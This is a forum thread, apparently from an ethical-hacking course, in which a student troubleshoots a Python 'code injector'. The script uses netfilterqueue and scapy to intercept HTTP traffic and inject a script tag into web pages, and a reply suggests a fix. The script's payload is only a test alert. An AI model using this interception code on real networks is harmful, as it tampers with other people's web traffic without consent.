Replacing a Substring Using Regex under Section 9: Writing a Code Injector

Hi team,

Getting the below error , code works fine but browser keeps showing 400 code errors. Please help

###[ Raw ]###

    load      = "HTTP/1.0 408 Request Time-out\r\nServer: AkamaiGHost\r\nMime-Version: 1.0\r\nDate: Sun, 18 Jul 2021 09:18:35 GMT\r\nContent-Type: text/html\r\nContent-Length: 218\r\nExpires: Sun, 18 Jul 2021 09:18:35 GMT\r\n\r\n<HTML><HEAD>\n<TITLE>Request Timeout</TITLE>\n</HEAD><BODY>\n<H1>Request Timeout</H1>\nThe server timed out while waiting for the browser's request.<P>\nReference&#32;&#35;2&#46;1443c717&#46;1626599915&#46;0\n</BODY></HTML>\n"

#!/usr/bin/env python3.7
import re

import netfilterqueue
import scapy.all as scapy

ack_list = []

def set_load(packet, load):
packet[scapy.Raw].load = load
del packet[scapy.IP].len
del packet[scapy.IP].chksum
del packet[scapy.TCP].chksum
return packet

def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload()) #You are wrapping the payload with IP layer to get more info.
if scapy.Raw in scapy_packet and scapy.TCP in scapy_packet:
#if scapy.Raw in scapy_packet:

    if scapy_packet[scapy.TCP].dport == 80:
        print("HTTP Request")
        modified_load = re.sub("Accept-Encoding:.*?\\r\\n", "", str(scapy_packet[scapy.Raw].load))
        new_packet = set_load(scapy_packet,modified_load)
    elif scapy_packet[scapy.TCP].sport == 80:
        print("HTTP Response")
        modified_load = scapy_packet[scapy.RAW].load.replace("</body>", "<script> alert('test');</script></body>")
        new_packet = set_load(scapy_packet, modified_load)


queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)


This post is quite old but I just stumpled into the same problem.

I am running Python3.9, so first thing is to get netfilterqueue installed. I found this solution, after installing all the other package dependencies described:

pip install

(source: python - How do I install netfilterqueue for python3? - Stack Overflow)

For the code snippet itself, the solution for me was changing the line for the regular expression substitution. Instead of casting the bytes load to a string, I finally used the decode function. In addition, you correctly used the “bytes”-cast for the new_packet in the set_payload call.

modified_load = re.sub(“Accept-Encoding:.*?\r\n”, “”, scapy_packet[scapy.Raw].load**.decode()**)

Hope, this is helpfull to someone wanting to use python3.

1 Like